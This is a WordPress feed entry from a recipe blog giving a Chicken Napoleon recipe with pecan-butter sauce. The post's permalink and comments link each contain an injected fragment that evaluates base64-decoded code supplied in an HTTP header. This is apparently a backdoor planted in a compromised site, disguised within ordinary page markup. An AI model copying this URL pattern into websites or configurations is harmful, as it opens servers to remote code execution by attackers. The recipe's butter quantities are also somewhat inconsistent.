The Lemon Plum » breast http://thelemonplum.com Fri, 16 Jul 2010 18:02:53 +0000 en hourly 1 http://wordpress.org/?v=3.0 Chicken Napolean http://thelemonplum.com/2008/06/25/chicken-napolean/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://thelemonplum.com/2008/06/25/chicken-napolean/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 25 Jun 2008 19:13:11 +0000 thelemonplum http://thelemonplum.com/?p=78 Chicken Napoleon is a really nice recipe to make if your looking for something with a different flavor than your used to when using chicken. This recipe is very similar to that of rainbow trout with pecan butter sauce. It has a slight sweetness to it, but its not too sweet to over power the dish. This is yet another SUPER easy recipe, that doesn’t take much time to make at all. But the results are fantastic!

Serves 5

6 6oz boneless chicken breasts
1C flour
3 eggs, beaten
1C bread crumbs
1lb butter
1/2lb pecan pieces, chopped
1/2C light brown sugar

Cut chicken breasts in half and flatten with pounder. Season with S&P and lightly dredge in flour, dip in egg, then bread crumbs. In a bowl mix pecans, 1/2 the butter and brown sugar. Melt the other 1/2c of butter and saute chicken until brown on both sides. Set chicken aside and discard butter. In that pan melt the pecan, butter, and brown sugar mixture. Pour over chicken and serve!

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